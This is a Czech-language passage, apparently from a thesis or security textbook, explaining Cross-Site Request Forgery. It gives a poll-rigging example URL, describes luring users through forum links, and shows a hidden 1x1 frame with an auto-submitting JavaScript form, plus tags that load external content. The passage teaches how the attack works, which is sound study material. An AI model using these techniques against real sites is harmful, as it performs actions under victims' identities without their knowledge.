3.2.1 Obecně o Cross Site Request Forgery Princip CSRF spočívá v provedení učité akce ve webové aplikaci pod identitou oběti útoku. Nejčasteji se tak děje prostřednictvím speciálně upraveného odkazu. Pokud uživatel navštíví tento odkaz, může útočník pod jeho identitou provést akci, kterou by uživatel sám nikdy neprovedl. Od nevědomého hlasování v anketách, přidání příspěvku na stráku, který by uživatel nikdy sám nenapsal, až po změnu přístupového hesla do webové aplikace. V určitých případech při kombinaci s metodou Cross-site Scripting (XSS) může být tento útok proveden naprosto automaticky bez jakékoliv spolupráce oběti. Princip útoku je vytvoření odkazu vyvolávající na serveu nějakou akci. Většinou jde o volání skriptu se speciálně upravenými parametry. Po navštívení odkazu dojde k odestání dat a provedení akce pod uživatelovou identitou. Pokud aplikace ověřuje oprávněnost uživatele k provedení akce jen za pomoci session ID (SID), akce bude úspěšně autorizována a provedena. Více o možnostech zneužití pojednává následující část.
3.2.2 Příklady útoků CSRF Pro útočníka nejjednoduší způsob napadení aplikace pomocí CSRF nastává, pokud je k přenosu parametrů použita metoda GET. Mějme obyčejnou webovou anketu, kde uživatel vybírá jednu ze tří možností. Hlasování je umožněno jen registrovaným uživatelům aplikace, kteří se ověřují pomocí SID předávaném v cookie. Formulář ankety by mohl být následující:
Pokud má útočník zájem na tom, aby jedna z možností dostala co možná nejvíce hlasů, je nejjednouduší cestou vytvoření odkazu s předem vyplněnou hodnotou parametru skriptu: http://www.server.cz/anketa.php?moznost='2'
Nachází-li na serveru fórum, chat, či jiná forma komunikace s ostatními uživateli webové aplikace, stačí jim těmito komunikačními kanály podstrčit tento odkaz s nějakým atraktivním popisem, jako např. vtipný obrázek, video, či něco podobného. příklad: super vtip!!!
Každý uživatel, který odkaz navštíví, již pouze uvidí poděkování za hlasování v anketě. Pokud není na serveru ověřována hodnota referer, ze které požadavek přichází, lze útok vylepšit tím, že útočníkův odkaz opravdu povede na stránku obsahující vtipný obrázek či video a odeslání 35
požadavku na hlasování bude provedeno ve skrytém rámu okna pomocí javascriptu. V tomto případě se odpověď serveru s poděkováním za hlasování v anketě načte to tohoto skrytého rámu a uživatel tak ani nemá žádné podezření, že nevědomky hlasoval v anketě. Příklad stránky na útočníkově serveru: Vtipný obrázek
Tato stránka zobrazí vtipný obrázek a do rámu velikosti 1x1 pixel načte stránku hlasuj.html, ta by vypadala takto: <script type="text/javascript">document.hlas.submit()
Výhoda této úpravy nespočívá jen v neviditelnosti útoku, ale také v tom, že lze odesílat i požadavky metodou POST. Stále tu ovšem zůstává problém se spoluúčastí uživatele. Aby mohl útok proběhnou bez jeho vědomí a nutnosti navštívení útočníkova odkazu, musela by být možnost vkládat do stránky HTML tagy, které načítají externí data. Takovými tagy jsou: <iframe src="http://adresa_zdroje"> <script src="http://adresa_zdroje"> <embed src="http://adresa_zdroje">